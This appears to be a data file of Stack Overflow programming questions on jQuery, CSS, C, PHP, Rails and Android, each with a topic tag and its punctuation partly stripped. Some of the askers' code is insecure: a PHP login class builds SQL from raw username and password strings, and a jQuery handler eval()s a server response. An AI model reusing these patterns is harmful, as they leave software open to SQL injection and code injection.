winxp dosen t respond to jquery .ajax() request  i use .ajax to get back html data that is passed throe json (php). works fine on win7 but not on winxp. i echoed out some text at the beginning of php file that send data back  but there is  blank page  coming back!    but everything works fine in win7 except winxp.   <pre><code>function feedpage(div_id  feed_id  to  page){     $.ajax({         url: iloc          type:  post           data: {a:  feed_page   div_id: div_id  feed_id: feed_id  page: page  to: to}          datatype:  html           success: function(d){             var obj = eval( ( +d+ ) );             $( #page_now ).html(obj.page);             if(div_id == 1) {                 div_id = 0;             }             hidebutton(obj.hide_button  div_id  feed_id  obj.page);             delete obj[ page ];             delete obj[ hide_button ];             if(obj.rss_title) {                 $( #feed_title ).html( &lt;h1&gt; +obj.rss_title[0]+ &lt;/h1&gt; );                 delete obj[ rss_title ][0];                 $( #last_page ).html(obj.last_page);             }             if(obj.all_feeds) {                 $( .jaunumi ).append( ir );                 delete obj[ all_feeds ];             }             $( #feed_id ul ).scrolltop(0);             $( #feed_id ).empty();             for (var i in obj){                 $( #feed_id ).append(obj[i].title);                 $( #feed_id ).append(obj[i].description);             }             if(div_id == 0) {                 var feed_div_offset = $( #feed_id ).offset();                 var feed_div_offset_top = feed_div_offset.top - 100;                 $( html  body ).animate({ scrolltop: feed_div_offset_top }   slow );             }             $( .tablo_slash ).html( / );         }     }); } </code></pre>,jquery
how can i have fadein effect and animation at the same time using jquery  i wanna make a menu with #menu id and get a 2 effect like fadein and move animation in the same time . i white this code but the first run fadein and seccound run animation .i want run tow effect simultaneously .    <pre><code>        &lt;div id= menu  style= right=0px;width=100px;height=200px;display=none;background=black; &gt;&lt;/div&gt;      &lt;script&gt;   $(document).ready( function (){          $(function () {                 $( #menu ).fadein( 1000 );                 $( #menu ).animate({                 right:  50px                  }  { duration: 2000  queue: false });          }); });     &lt;/script&gt; </code></pre>,jquery
re-use if statement for all click handler events in javascript  i have a few click handler events on my page that simply add an active class to an element. i only want the event to trigger if the current section has the class active. i have this working ok but what i am doing is running the same for loop and if statement check for the active class on my section for the different click events. looking for the simplest way to re-use it using just javascript not jquery.   <pre><code>&lt;section class= section section-1 active &gt;   &lt;div class= button &gt;     &lt;div class= hidden-background &gt;&lt;/div&gt;   &lt;/div&gt;   &lt;div class= hidden-content &gt;&lt;/div&gt; &lt;/section&gt;  &lt;section class= section section-2 &gt;     &lt;div class= button &gt;       &lt;div class= hidden-background &gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div class= hidden-content &gt;&lt;/div&gt;   &lt;/section&gt;    &lt;section class= section section-3 &gt;       &lt;div class= button &gt;         &lt;div class= hidden-background &gt;&lt;/div&gt;       &lt;/div&gt;       &lt;div class= hidden-content &gt;&lt;/div&gt;     &lt;/section&gt; </code></pre>   the button click event checks for the active section and just finds the first div tag (hidden-background) and applies an active class to it.   <pre><code>var section = document.queryselectorall( .section ); var button = document.queryselectorall( .button );  for (var s = 0; s &lt; section.length; s++) {     if (section[s].classlist.contains( active )) {         for (var b = 0; b &lt; button.length; b++) {             button[b].addeventlistener( click   function(){                 this.getelementsbytagname( div )[0].classlist.add( active );             });         }     } } </code></pre>   the second click event again checks for the active section class and then adds the class active to the hidden-content div.   <pre><code>var section = document.queryselectorall( .section ); var hiddencontent = document.queryselectorall( .hidden-content );  for (var s = 0; s &lt; section.length; s++) {     if (section[s].classlist.contains( active )) {         for (var h = 0; h &lt; hiddencontent.length; h++) {             hiddencontent[h].addeventlistener( click   function(){                 this.classlist.add( active );             });         }     } } </code></pre>   thank you,javascript
z-index not hiding background  i am trying to over lap a div on another div  by using css  while background should become blur   like modal pop up show.    but the background of modal pop is still getting displayed through the modal pop up.    <img src= https://i.stack.imgur.com/4xlip.jpg  alt= enter image description here >    as u can see background is visible through the modal pop up!! i have setted z-index of pop up more than the background    css:   <pre><code>       .moredetails {    background-color: #000;   z-index: -1;   width: 100%;   height: 100%;   top: 0px;   left: 0px;   position: fixed;   display:   block;   opacity: 0.7;   z-index: 100;   text-align: center;      }  .tblview {   position: fixed;   top: 10%;   left: 30%;   z-index:1;   opacity: 2.0;  } </code></pre>   my design:   <pre><code>     &lt;div id= moredetails  class= moredetails  &gt;             &lt;div id= tabledetails  class= tblview &gt;              &lt;/div&gt;          &lt;/div&gt; </code></pre>,css
three way duel simulator working incorrectly  i am creating a three way duel simulator. each person has a precision level (aaron s is 33  bob s is 50  and charles s is 100). a random number between 1 and 100 is generated  and if that number is less than the person s skill level  then that person shoots the other (alive) player with the highest skill level. it is supposed to repeat 10000 times  and i am going to print the results. however  the scores for each person are incorrect. i keep getting bob s score to be 10000  while the others are 0. thanks in advance for any help.   <pre><code>#include &lt;iostream&gt; #include &lt;stdlib.h&gt; #include &lt;ctime&gt; using namespace std;   bool at_least_two_alive (bool a_alive  bool b_alive  bool c_alive) {  int i = 0;  if (a_alive) {     i++; } if (b_alive) {     i++; } if (c_alive) {     i++; } if (i &gt;= 2) {     return true; } else {     return false; } }  void aaron_shoots (bool&amp; b_alive  bool&amp; c_alive ) {  int aaron_precision = 33;  int shoot_target_result = rand()%100;  if (shoot_target_result &lt;= aaron_precision) {      if (c_alive) {         c_alive = false;     }      else {         b_alive = false;     }  } }  void bob_shoots (bool&amp; a_alive  bool&amp; c_alive ) {  int bob_precision = 50;  int shoot_target_result = rand()%100;  if (shoot_target_result &lt;= bob_precision) {      if (c_alive) {         c_alive = false;     }      else {         a_alive = false;     } } }  void charles_shoots (bool&amp; a_alive  bool&amp; b_alive ) {  int charles_precision = 100;  int shoot_target_result = rand()%100;  if (shoot_target_result &lt;= charles_precision) {      if (b_alive) {         b_alive = false;     }      else {         a_alive = false;     } } }  void duel() {  bool a_alive = true; bool b_alive = true; bool c_alive = true; int a_wins = 0; int b_wins = 0; int c_wins = 0; int number_of_duels = 10000;  for (int i = 0; i &lt; number_of_duels; i++) {     while (at_least_two_alive(a_alive  b_alive  c_alive)) {         if (a_alive) {             aaron_shoots(b_alive  c_alive);         }         if (b_alive ) {             bob_shoots(a_alive  c_alive);         }         if (c_alive ) {             charles_shoots(a_alive  b_alive);         }     }     if (a_alive) {         a_wins++;     }     if (b_alive ) {         b_wins++;     }     if (c_alive ) {         c_wins++;     } } }  void menu() { string input; cout &lt;&lt;  \n*** welcome to duel simulator ***\n\n           ready to run duel simulator (run 10000 times)  (y/n):  ;  cin &gt;&gt; input;  if (input ==  y ) {     cout &lt;&lt;  \n1000 duels completed       \n2000 duels completed       \n3000 duels completed       \n4000 duels completed       \n5000 duels completed       \n6000 duels completed       \n7000 duels completed       \n8000 duels completed       \n9000 duels completed       \n10000 duels completed ;     duel(); } else {     if (input ==  n ) {         menu();     }     else {         cout &lt;&lt;  \nplease enter a valid option!\n ;         menu();      }  } }  int main () {  menu(); return 0; } </code></pre>,c++
jquery equality statement not functioning correctly  i have written a small jquery script that checks the computed size of a div  sets the css height of this div to that height  then uses this height to calculate whether to initiate an animation or not.  the have printed out the variables to check that they are the same and it seems they are but it never seems to run through the  if  even when they are the same. can anyone see what i am doing wrong here  the main aim of this code is to hide an absolutely-positioned div off of the screen  then when an anchor is clicked the script is run and the div will slide in or out accordingly. thanks in advance!   <pre><code>$(document).ready(function(){                 var outerdivheight = $( .login_wrap ).outerheight();                 divheight = 0 - outerdivheight;                 $( .login_wrap ).css( top   divheight +  px );                 $( #login_tab ).click(function(){                     if (parseint($( .login_wrap ).css( top ) == outerdivheight)) { marg =  0 ; } else { marg = divheight; }                     $( .login_wrap ).stop().animate({ top :marg}   slow );                 });             }); </code></pre>,jquery
how to get opposite boolean value of variable in javascript <pre><code>var a = true; </code></pre>   how to get opposite value of <code>a</code> (false) and vice versa,javascript
php script mucks up copyright  i have written a php script that goes through and changes the html generated by visual page.  (i know - it is a really old program - but i like it.)  anyway  in each of these html web pages i m working with i put in:    {copyright}    where i want the copyright to show up.  i did the following loop:   <pre><code>foreach( $file as $k1=&gt;$v1 ){    if( preg_match( /\{copyright\}/i   $v1) ){       $file[$k1] = preg_replace(  /\{copyright\}/i   $copyright  $v1 );       }    } </code></pre>   this did not work.  i would echo out the $file[$k1] before and after the if statement so i could see what was going on and php just wouldn t change the {copyright} to the copyright.  the variable $copyright had something similar to:   <pre><code>&lt;tr&gt;&lt;td&gt;copyright 2007-now mycompany.  all rights reserved.&lt;/td&gt;&lt;/tr&gt; </code></pre>   now - here is the freaky thing:  i put a break after it did the preg_replace - and - it worked.  so just changing the above to   <pre><code>foreach( $file as $k1=&gt;$v1 ){     if( preg_match( /\{copyright\}/i   $v1) ){         $file[$k1] = preg_replace(  /\{copyright\}/i   $copyright  $v1 );         break;         }     } </code></pre>   made it work.  does anyone have any kind of an idea why   i m completely stumped by this.    note: i thought i d post what i had gotten the html down to.   <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;test&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;table border= 1  cellspacing= 0  cellpadding= 0 &gt;&lt;tbody&gt; &lt;tr&gt;&lt;td&gt;this is a test&lt;/td&gt;&lt;/tr&gt; {copyright} &lt;/tbody&gt;&lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   that is what i boiled my test case down to.    also note : i did get this to work.  don t know why i had to put in a break statement and i put it in on a whim.  my thinking went  maybe there is something that is making it re-evaluate the string after the change   let me try putting in a break statement.   i did and - it worked.  but i have no idea why it worked.,php
when printing a memory address of a variable using printf  why do %x and %p return different yet similar values   i am trying to print the memory address of a variable (specifically argc). i am using printf and i know that %x returns an unsigned hexadecimal integer and %p returns a pointer address. my simple code is below for reference   <pre><code>int main (int argc  char **argv) {   printf( argc: addr=%x addrp=%p val=%x\n  &amp;argc &amp;argc argc);   return 0; } </code></pre>   ran like so: ./a.out this is    it outputs: argc: addr=af5144cc addrp=0x7ffcaf5144cc val=3    i see that the %x returns what is the address of a byte  correct  since it has 8 digits or bits     however  %p returns what is the same byte with more info before it. what is the  0x7ffc  part and what does it mean  is it part of the memory address or does it point out some type of information  i know the 0x part means it is a hexadecimal number. is %x or %p the true memory address  thanks!,c
php login and register error  the error shown is    <blockquote>     fatal error: uncaught error: call to a member function query() on string in d:\users\kukor\documents\xampp\htdocs\timetable\class.manageusers.php:22 stack trace: #0 d:\users\kukor\documents\xampp\htdocs\timetable\login.php(19): manageusers->loginusers( kayzmark    ultimate ) #1 {main} thrown in d:\users\kukor\documents\xampp\htdocs\timetable\class.manageusers.php on line 22   </blockquote>  <pre><code>&lt; php class manageusers{     public $link;      function __construct(){         $db_connection = new dbconnection();         $this-&gt;link = $db_connection-&gt;connect();         return $this-&gt;link;     }      function registerusers($password  $ip_address  $date  $time  $username  $email  $uname){         $query = $this-&gt;link-&gt;prepare( insert into users (password ip_address date time username  email  uname) values(             ) );         $values = array ($password  $ip_address  $date  $time  $username  $email  $uname);         $query-&gt;execute($values);         $count = $query-&gt;rowcount();         return $count;     }      function loginusers($username  $password){         $query = $this-&gt;link-&gt;query( select * from users where username= $username  and password= $password  );         $rowcount = $query-&gt;rowcount();         return $rowcount;     }      function getuserinfo($username){         $query = $this-&gt;link-&gt;query( select * from users where username =  $username  );         $rowcount = $query-&gt;rowcount();         if($rowcount ==1)         {             $result = $query-&gt;fetchall();             return $result;         }         else         {             return $rowcount;         }     } }  &gt; </code></pre>,php
on clicking search button  display result in the next page  i searched for the solution but could not find the exact solution so posted here. i have a search bar in the header menu. when search content is typed and clicked on search button  the result needs to be display in a new page (eg. result.html). api is used to fetch the searched result.    i have added js pseudo code below which will explain what i intend to do.    thank you for the suggestion.    <strong>navigation</strong>   <pre><code>&lt;nav class= navbar navbar-default navbar-fixed-top navbar-search-box animate  role= navigation &gt;     &lt;div class= row &gt;         &lt;div class= collapse navbar-collapse  &gt;             &lt;ul class= nav navbar-nav  id= main-nav &gt;                 &lt;li&gt; ... &lt;/li&gt;                 &lt;li&gt;                     &lt;div class= search-bar-search animate &gt;                         &lt;div class= container  ng-controller= searchctrl &gt;                             &lt;div class= input-group &gt;                                 &lt;input type= text  class= form-control  id= q  ng-model= q  placeholder= search for... &gt;                                 &lt;span class= input-group-btn &gt;                                 &lt;button class= btn btn-primary  type= button  ng-click= search() &gt;search&lt;/button&gt;                                 &lt;/span&gt;                             &lt;/div&gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/li&gt;             &lt;/ul&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/nav&gt; </code></pre>   <strong>search.js</strong>   <pre><code>var app = angular.module( myapp   [ ngroute ]);  app.service( searchservice   function($http) {     this.getresult = function(q) {         // o/p is in json format         return $http.get( http://mydomainname/api/search/ +q);     } }); app.controller( searchctrl   function ($scope  searchservice){     $scope.search = function (){         var q = $scope.q;          searchservice.getresult(q).then(function (response){                 $scope.result = response.data;                 // redirect to new template (result.html) and display result                 ...                 ...             });      }; }); </code></pre>,angularjs
why are button sizes on eclipse vs device not the same  o.k....this is weird. i had my buttons looking fine last week  now something has changed.    my buttons on the eclipse emulator are much larger than on my device (droid 2.1).    i checked my skin settings  screen size permissions  density factors....what am i missing     my skin is set to wvga854  but when the app goes to the phone the buttons are smaller!  text and pictures are fine...looking the same as the emulator...just the buttons are shrunk!    hmm....i know it has to be something simple...:)    update: ok....posting xml;   <pre><code>&lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android  android:orientation= vertical  android:layout_width= fill_parent  android:layout_height= fill_parent  android:background= @drawable/pic &gt;  &lt;button     android:id= @+id/strtbtn      android:textsize= 8pt      android:layout_margintop= 50px      android:layout_marginleft= 20px      android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= blahh /&gt;  &lt;button     android:id= @+id/contbtn      android:textsize= 8pt      android:layout_margintop= 140px      android:layout_marginleft= 200px      android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= blahh /&gt;  &lt;button     android:id= @+id/credbtn      android:textsize= 8pt      android:layout_margintop= 530px      android:layout_marginleft= 20px      android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= blahh /&gt;  &lt;button     android:id= @+id/miscbtn      android:textsize= 8pt      android:layout_margintop= 610px      android:layout_marginleft= 80px      android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= blahh /&gt;  &lt;button     android:id= @+id/blahhbtn      android:textsize= 8pt      android:layout_margintop= 690px      android:layout_marginleft= 200px      android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= blahh /&gt;  &lt;imageview     android:layout_width= fill_parent      android:layout_height= fill_parent      android:src= @drawable/introanim      android:id= @+id/introanim      android:layout_gravity= center      android:layout_weight= 1 /&gt;  &lt;/relativelayout&gt; </code></pre>,android
rails + ecommerce: how to implement returns for a product that a user purchased   i m building an ecommerce store and i m at the  returns/exchanges  part. however  i m having trouble conceptualizing how to implement a <code>return</code>s model/table in a relational database. so far i have these models:    <code>user</code> (has_many :orders)    <code>order</code> (has_many :line_items  belongs_to :user)    <code>lineitem</code> (belongs_to :order  belongs_to :variant)    <code>variant</code> (has_many :line_items)    pretty generic. let s say that the user placed an order with 2 line items:    <code>lineitem 1: {quantity: 1  variant_id: 1}</code>    <code>lineitem 2: {quantity: 3  variant_id: 2}</code>    lets say the user wanted to return only 2 units of lineitem 2. well then in the future they can still return 1 unit of lineitem 2 since there were 3 in total (<code>quantity: 3</code>)... well what kind of relationship would that be     does anyone have any experience implementing a <code>return</code> model  i would love some insight. let me know if you need any more info.,ruby-on-rails
failure: userssignuptest#test_valid_signup_information_with_account_activation expected: 1 actual: 2  i am following railstutorial and am having this error in chapter 10. i thought it should be similar with this <a href= https://stackoverflow.com/questions/27395083/user-signup-test-failing-in-m-hartls-rails-tutorial >post</a>. unfortunately  the solution does not work with my problem.    changing <code>1</code> into <code>2</code> in line <code>assert_equal 1  actionmailer::base.deliveries.size</code> in user_signup_test.rb make the test green. lol. but i am a complete noob so do not really understand the real issue.    could someone show me where i miss    <pre><code>failure: userssignuptest#test_valid_signup_information_with_account_activation  [/home/xxx/sample_app/test/integration/users_signup_test.rb:30]: expected: 1  actual: 2 </code></pre>   user_signup_test.rb   <pre><code>require  test_helper   class userssignuptest &lt; actiondispatch::integrationtest   # test  the truth  do   #   assert true   # end def setup   actionmailer::base.deliveries.clear end  test  invalid signup information  do     get signup_path     assert_no_difference  user.count  do       post users_path  user: { name:                                     email:  user@invalid                                  password:               foo                                  password_confirmation:  bar  }     end     assert_template  users/new    end    test  valid signup information with account activation  do     get signup_path     assert_difference  user.count   1 do       post users_path  user: { name:   example user                                  email:  user@example.com                                  password:               password                                  password_confirmation:  password  }     end     assert_equal 1  actionmailer::base.deliveries.size     user = assigns(:user)     assert_not user.activated      # try to log in before activation.     log_in_as(user)     assert_not is_logged_in      # invalid activation token     get edit_account_activation_path( invalid token )     assert_not is_logged_in      # valid token  wrong email     get edit_account_activation_path(user.activation_token  email:  wrong )     assert_not is_logged_in      # valid activation token     get edit_account_activation_path(user.activation_token  email: user.email)     assert user.reload.activated      follow_redirect!     assert_template  users/show      assert is_logged_in    end     #assert_template  users/show      #assert is_logged_in   end </code></pre>   user_controller.rb   <pre><code>class userscontroller &lt; applicationcontroller   before_action :logged_in_user  only: [:edit  :update  :index  :destroy ]   before_action :correct_user    only: [:edit  :update]   before_action :admin_user      only: :destroy    def new     @user = user.new   end    def index     #@users = user.all     @users = user.paginate(page: params[:page])   end    def show     @user = user.find(params[:id])     #debugger   end    def create     @user = user.new(user_params)    # not the final implementation!     if @user.save       # handle a successful save.       #log_in @user       #flash[:success] =  welcome to the sample app!        #redirect_to @user       @user.send_activation_email       usermailer.account_activation(@user).deliver_now       flash[:info] =  please check your email to activate your account.        redirect_to root_url      else       render  new      end   end    def edit     @user = user.find(params[:id])   end    def update     @user = user.find(params[:id])     if @user.update_attributes(user_params)       #handle a successful update       flash[:success] =  profile updated        redirect_to @user     else       render  edit      end   end    def destroy     user.find(params[:id]).destroy     flash[:success] =  user deleted      redirect_to users_url   end  private def user_params   params.require(:user).permit(:name  :email  :password  :password_confirmation) end  # before filters  # confirms a logged-in user. def logged_in_user   unless logged_in      store_location     flash[:danger] =  please log in.      redirect_to login_url   end end  # confirms the correct user. def correct_user   @user = user.find(params[:id])   #redirect_to root_url unless @user == current_user   redirect_to root_url unless current_user (@user) end  # confirms an admin user. def admin_user   redirect_to(root_url) unless current_user.admin  end  end </code></pre>   user_mailer.rb   <pre><code>class usermailer &lt; applicationmailer    # subject can be set in your i18n file at config/locales/en.yml   # with the following lookup:   #   #   en.user_mailer.account_activation.subject   #   def account_activation(user)     @user = user     mail to: user.email  subject:  account activation    end    # subject can be set in your i18n file at config/locales/en.yml   # with the following lookup:   #   #   en.user_mailer.password_reset.subject   #   def password_reset     @greeting =  hi       mail to:  to@example.org    end end </code></pre>   application_mailer.rb   <pre><code>class applicationmailer &lt; actionmailer::base   #default from:  from@example.com    default from:  noreply@example.com    layout  mailer  end </code></pre>   account_activation_controller.eb   <pre><code>class accountactivationscontroller &lt; applicationcontroller    def edit     user = user.find_by(email: params[:email])     if user &amp;&amp; !user.activated  &amp;&amp; user.authenticated (:activation  params[:id])       user.activate       log_in user       flash[:success] =  account activated!        redirect_to user     else       flash[:danger] =  invalid activation link        redirect_to root_url     end   end end </code></pre>   session_controller.rb   <pre><code>class sessionscontroller &lt; applicationcontroller   def new   end    def create     user = user.find_by(email: params[:session][:email].downcase)     if user &amp;&amp; user.authenticate(params[:session][:password])         if user.activated          log_in user         params[:session][:remember_me] ==  1    remember(user) : forget(user)           #redirect_to user         redirect_back_or(user)       else         message =  account not activated.          message +=  check your email for the activation link.          flash[:warning] = message         redirect_to root_url       end     else     flash.now[:danger] =  invalid email/password combination  # not quite right!     render  new      end   end    def destroy     log_out if logged_in      log_out     redirect_to root_url   end  end </code></pre>   user_mailer_test.rb    require  test_helper    <pre><code>class usermailertest &lt; actionmailer::testcase   test  account_activation  do     user = users(:michael)     user.activation_token = user.new_token     mail = usermailer.account_activation(user)     assert_equal  account activation   mail.subject     assert_equal [user.email]  mail.to     assert_equal [ noreply@example.com ]  mail.from     assert_match user.name                mail.body.encoded     assert_match user.activation_token    mail.body.encoded     assert_match cgi::escape(user.email)  mail.body.encoded   end    test  password_reset  do     mail = usermailer.password_reset     assert_equal  password reset   mail.subject     assert_equal [ to@example.org ]  mail.to     assert_equal [ noreply@example.com ]  mail.from     assert_match  hi   mail.body.encoded   end  end </code></pre>,ruby-on-rails
i think this would be called an inline text align: center but cannot get it to work in this code  i want to have the  sizes  to align center and have tried everything  can someone show me what and where to insert to make this happen.    thanks   <pre><code>&lt;form action= https://www.paypal.com/cgi-bin/webscr  method= post  target= _top &gt; &lt;center&gt; &lt;input type= hidden  name= cmd  value= _s-xclick &gt; &lt;input type= hidden  name= hosted_button_id  value= nx728bpdls4qc &gt; &lt;table align=“center”&gt;  &lt;tr&gt;&lt;td style= color: white”&gt;&lt;input type= hidden  name= on0    value= sizes &gt;sizes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;select name= os0 &gt;     &lt;option value= 6 x 6 &gt;6 x 6 $100.00 usd&lt;/option&gt;     &lt;option value= 12 x 12 &gt;12 x 12 $200.00 usd&lt;/option&gt;     &lt;option value= 24 x 24 &gt;24 x 24 $400.00 usd&lt;/option&gt;     &lt;option value= 48 x 48 &gt;48 x 48 $800.00 usd&lt;/option&gt; &lt;/select&gt; &lt;/td&gt;&lt;/tr&gt; &lt;/table&gt; &lt;input type= hidden  name= currency_code  value= usd &gt; &lt;input type= image   src= https://www.paypalobjects.com/en_us/i/btn/btn_buynow_sm.gif  border= 0  name= submit  alt= paypal - the safer  easier way to pay online! &gt; &lt;img alt=   border= 0  src= https://www.paypalobjects.com/en_us/i/scr/pixel.gif  width= 1  height= 1 &gt; &lt;/center&gt; &lt;/form&gt; </code></pre>,html
resources about the javascript object model   i am looking for a good resource (comprehensive yet terse) that explains the javascript object model: prototype  constructor  function  object  etc.    surprisingly there aren t many resources out there that discuss this issue. the best i found  so far  is this: <a href= http://www.mollypages.org/misc/js.mp  rel= nofollow noreferrer >http://www.mollypages.org/misc/js.mp</a>    anyone familiar with other (hopefully better) explanations,javascript
form submission in rails 3  i decided to start a little project in rails 3 and i am a little bit stuck on a form... where can i specified the f.submit action should go to a special controller / action      the code in the form is:   <pre><code>&lt;%= form_for @user  :url =&gt; { :action =&gt;  login  } do |f| %&gt; &lt;div class= field &gt; &lt;%= f.text_field :email %&gt;&lt;br /&gt; &lt;%= f.text_field :password %&gt; &lt;/div&gt; &lt;div class= actions &gt; &lt;%= f.submit %&gt; &lt;/div&gt; &lt;% end %&gt; </code></pre>   user is defined as @user = user.new in  index  method of  home_controller .    but i have the error:   <pre><code>no route matches {:controller=&gt; home   :action=&gt; login } </code></pre>   as soon as i run <a href= http://0.0.0.0:3000  rel= nofollow >http://0.0.0.0:3000</a>    i am very sorry for this newbee question but i cannot find the routing details (i worked a little bit with rails a couple of years ago but...)    thanks  luc,ruby-on-rails
why splitting the word in this way is crashing   i executed the following code.   <pre><code>#include &lt;stdio.h&gt;  int main() {char *a= awake ;  printf( %s\n   *(a+1));  return 0; // expected out_put to be wake }  </code></pre>,c
need help positioning some divs  i had posted a similar question previously  when i was looking for help in doing the javascript portion.    i now have figured out how to get the javascript working to reproduce this affect in the images below  i need help getting my  middle  clickable div into place though.... scroll down to see the question portion    <img src= https://i.stack.imgur.com/jyxq1.png  alt= enter image description here >    <img src= https://i.stack.imgur.com/abtz7.png  alt= enter image description here > ok here is a page with the code i have this far on jsfiddle.     mu updated attempt  got it mostly working but it seems kind of hacky the way i had to do it    <a href= http://jsfiddle.net/jasondavis/hrq6g/5/embedded/result/  rel= nofollow noreferrer >http://jsfiddle.net/jasondavis/hrq6g/5/embedded/result/</a>    i have a container div with header  content  sidebar  footer areas.  right now when you click on the header div it will toggle the sidebar and content areas.    i would really like to figure out how i can get a middle div in between the article content and the sidebar  i will then make that div be the trigger to toggle it all.    in the image you can see that the new center div should always stay attached to the right side of the article div    if you are good with this kind of stuff i would greatly appreciate any help i can get with it  i have spent hours trying to get a div to position like i am describing with no luck.  the div should also be the height of the article div   <h2>-----update-----</h2>   <a href= http://jsfiddle.net/jasondavis/hrq6g/6/embedded/result/  rel= nofollow noreferrer >http://jsfiddle.net/jasondavis/hrq6g/6/embedded/result/</a>    i have it working now.  it can most likely be improved  i had to do some hacks like setting some negative margins  i would imagine someone with better knowledge could do it without that,css
how can i apply jquery on all elements with same id attribute   how can i apply jquery on all elements with same id attribute      i want to apply a <code>focus()</code> and <code>blur()</code> function on a <code>textarea</code> elements that have same id,jquery
method signature pass parameter as ienumerable<t> or as list<t>  the language i use is c#.    as i have read  it is better if a method of an object returns an enumerable type like a list  to state it its signature as bellow:   <pre><code>private ienumerable&lt;int&gt; listofnumbers() {    // here goes the code of the method } </code></pre>   rather than   <pre><code>private list&lt;int&gt; listofnumbers() {   //  here goes the code of the method } </code></pre>   let now that we want to pass as a parameter a list of objects of type a.    when we write   <pre><code>private ienumerable&lt;int&gt; listofnumbers(list&lt;a&gt; list) {   // here goes the code of the method } </code></pre>   it is easier to access the elements of the list and do any calculations with them rather than writing   <pre><code>private ienumerable&lt;int&gt; listofnumbers(ienumerable&lt;a&gt; list) {     // here goes the code of the method. } </code></pre>   in the second case  in order to access the elements of the list  that implements the interface ienumerable  we should convert the list to a list  inside the code of the method.     i am bit confused about the best way to pass as a parameter a type tha implements the ienumerable interface. what s the best approach between the above two  is there any better way     thanks in advance for any help.,c#
adding multiple inline image spans  i have a few tutorials in the pipeline where i d like to use arrow images (so up / down / left / right) to explain steps a user should take.     so screen result would look a bit as follows :    in order to proceed first select <code>[up_arrow_image]</code>  then click <code>[left_arrow_image]</code> twice  and select <code>[enter_image]</code>. there can be a few hundred of these steps in the end so i d like to use inline spans to show the arrows  rather than coding them in the html directly. i ve been able to get it running for the first span in my paragraph  but that s where it stopped.    my simplified html :   <pre><code>&lt;p&gt;in order to proceed first select &lt;span class= arrow arrow_up &gt;&lt;!-- up --&gt;&lt;/span&gt;  then click &lt;span class= arrow arrow_left &gt;&lt;!-- left --&gt;&lt;/span&gt; twice   and select &lt;span class= arrow select &gt;&lt;!-- up --&gt;&lt;/span&gt;&lt;/p&gt; </code></pre>   and my css looks like this at the moment :   <pre><code>.arrow {    display:inline_block;    width: 20px; height: 20px;    padding-left:20px;    background-image: url(arrow.png);    background-repeat: no-repeat; }  .arrow_up {      background-position: 0px 0px; }  .arrow_left {     background-position: 0px -20px; }  .enter {      background-position: 0px -40px; } </code></pre>   i found most of above browsing here  but i overlooked something for sure as it s not really working out the way i hoped for. my first arrow shows up  but rest is neglected.,css
is rails good to build web interfaces for programs in languages other than ruby   say  i want to create a web interface for a program or application written in a different language other than ruby  maybe  java or c. is using rails still a good option   if so  can anyone give me sources(links to tutorials or books) which i can refer to     thanks in advance.,ruby-on-rails
qas custom address layout  i have been given a new format to add to the qas ini file qawserve.ini and want to use this format in the getformattedaddress() method call. how do i specify that i want to use this new custom layout     i have tried using the name as specified above the layout in [custom layout]  for example:   <pre><code>objaddress =     new quickaddress(appsettings.readsetting( qasserver ))     {         engine = quickaddress.enginetypes.singleline          flatten = false     }.getformattedaddress(picklist.items[selectedvalue].moniker   custom layout ); </code></pre>,.net
width formatters in c  i came across a strange question.    given this program :   <pre><code>#include &lt;stdio.h&gt;  int main() {     printf( %04d  100);     return 0; } </code></pre>   the output is 0100  i can understand why. if i change it to    <pre><code>printf( %04.1d  100); </code></pre>   the output i am getting is  100 with a blank in front of 1. 0 is ignored. my question is how does width formatter work in these cases,c
return a string and integer using one method  im trying to write a program which has a method exam mark  this contains objects of pupil class and a string that gives the pupils name. the method should return the pupils exam mark and their name. if there is a pupil called joe and their exam score is 32 then when joe is passes 32 should be printed.    in the student class i have getters  for getexamscore and in a subclass i have the getter getpupilname. the vector elements should be in the pupil class.    if the pupil is not in the class -1 should be returned.    here is my method and everything must be in only this method:   <pre><code>import java.util.*; public class vectors {    public int lookformark(vector &lt;pupil&gt; v  string name)    {        int examscoremark=0;        name=  ;        try{             for(int i=0; i&lt;=v.size(); i++){                try                {                   int element= v.elementat(i).getexamscore();                   string element2= v.elementat(i).getpupilname();                  }                catch(exception e)                {                    system.out.println( there is an error );                    return -1;                }               }         } </code></pre>   can someone help me on returning the exammark with the pupil name,java
how to add months value with datetime() function values  i m trying to add months to the following value  which i m getting from my database <code>2014-08-15 01:02:51</code>    like i want to add 2 months with <code>2014-08-15 01:02:51</code> to get the result <code>2014-10-15 01:02:51</code> is there any way  i m not getting the date time function but only getting its value from database as mentioned above.,php
objective-c property access  what is the difference in accessing an objects properties or methods via foo.property to [foo property],objective-c
missing library to create a project in ruby and rails  i have a problem when i create an application in rails    using rails 4.1.0 and ruby ruby ​​2.0.0p451    i get this message:    this line worries me .is there a problem with spring     <blockquote>    your bundle is complete! use <code>bundle show [gemname]</code> to see where a   bundled gem is installed.            run  bundle exec spring binstub --all   * bin/rake: spring inserted   * bin/rails: spring inserted  </blockquote>,ruby-on-rails
how to switch from custom keyboard to system keyboard   i have created a custom view  called <strong>emojikeyboardview</strong>. if i want to use the custom keyboard  i could use <code>textview.inputview = emojikeyboardview</code>. but how could i switch back to the system keyboard,ios
the difference between a datagrid and a gridview in asp.net   i ve been doing asp.net development for a little while now  and i ve used both the gridview and the datagrid controls before for various things  but i never could find a really good reason to use one or the other. i d like to know:    what is the difference between these 2 asp.net controls  what are the advantages or disadvantages of both  is one any faster  newer  easier to maintain     the intellisense summary for the controls doesn t seem to describe any difference between the two. they both can view  edit  and sort data and automatically generate columns at runtime.    <strong>edit:</strong> visual studio 2008 no longer lists datagrid as an available control in the toolbox. it is still available (for legacy support i assume) if you type it in by hand though.,asp.net
